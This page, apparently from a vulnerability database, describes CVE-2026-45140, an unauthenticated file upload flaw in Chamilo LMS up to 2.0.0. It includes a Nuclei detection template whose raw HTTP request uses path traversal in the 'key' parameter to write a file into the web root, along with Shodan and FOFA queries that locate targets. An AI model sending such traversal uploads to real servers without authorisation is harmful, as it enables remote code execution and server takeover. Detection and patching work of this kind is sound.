SecurityContext

CVE-2026-45140: Chamilo LMS <= 2.0.0 - Unauthenticated Arbitrary File Upload via CStudio big-upload.php

Classification

  • Cwe: CWE-22, CWE-434
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Cpe: cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*
  • Not known: epss score, epss percentile

Metadata

  • Fofa-query: title="Chamilo"
  • Max-request: 2
  • Product: chamilo_lms
  • Shodan-query: http.title:"Chamilo"
  • Vendor: chamilo
  • Verified: yes

Products

ProductIndexedUrl
chamilo:chamilo_lmsyes/v1/products/chamilo/chamilo_lms

Labels

  • Name: Chamilo LMS - Remote Code Execution
  • Impact: Unauthenticated remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  • Remediation: Update to version 2.0.1 or later.
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2026-45140
  • Not known: vulnerability type, requirements

```yaml

id: CVE-2026-45140

info:

name: Chamilo LMS <= 2.0.0 - Unauthenticated Arbitrary File Upload via CStudio big-upload.php

author: DhiyaneshDk

severity: critical

description: |

Chamilo LMS through 2.0.0 ships a leftover CStudio plugin script (plugin/CStudio/editor/import-project/inc/big-upload.php) that does not require authentication and does not sanitize the "key" parameter. A remote attacker can use path traversal in "key" to write an attacker-controlled file into the public web root. Fixed in 2.0.1.

impact: |

Unauthenticated attackers can write arbitrary files into the web root, which may lead to remote code execution and full compromise of the server.

remediation: |

Upgrade to Chamilo LMS 2.0.1 or later, or remove the plugin/CStudio directory.

reference:

- https://github.com/advisories/GHSA-g4c3-4g96-6g4m

- https://nvd.nist.gov/vuln/detail/CVE-2026-45140

- https://github.com/chamilo/chamilo-lms/commit/4bdba1b9a8820bd70c0809317775d7f6eaa79844

- https://abraxaslabs.tech/research/CVE-2026-45140

- https://github.com/abraxas/CVE-2026-45140

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2026-45140

cwe-id: CWE-22,CWE-434

cpe: cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 2

vendor: chamilo

product: chamilo_lms

shodan-query: http.title:"Chamilo"

fofa-query: title="Chamilo"

tags: cve,cve2026,chamilo,lms,file-upload,intrusive,vkev

variables:

filename: "{{rand_text_alphanumeric(12)}}.txt"

marker: "{{rand_text_alphanumeric(24)}}"

flow: http(1) && http(2)

http:

- raw:

- |

POST /plugin/CStudio/editor/import-project/inc/big-upload.php?action=upload&key=..%2f..%2f..%2f..%2fpublic%2f{{filename}} HTTP/1.1

Host: {{Hostname}}

Content-Type: application/octet-stream

{{marker}}

matchers:

- type: dsl

dsl:

- 'status_code == 200'

- 'contains(body, "\"errorStatus\":0")'

condition: and

internal: true

- raw:

- |

GET /{{filename}} HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: word

part: body

words:

- "{{marker}}"

- type: status

status:

- 200

digest: 4a0a00473045022077af941f6fdd1b0f341fbab0a10fb297e75e221b84fd06a45c2cfb75ddba82bf0221009e681ae034a60e68fb1277dd8b171a41767721064ecdfecedb1c02c16f621bd9:922c64590222798bb761d5b6d8e72950

```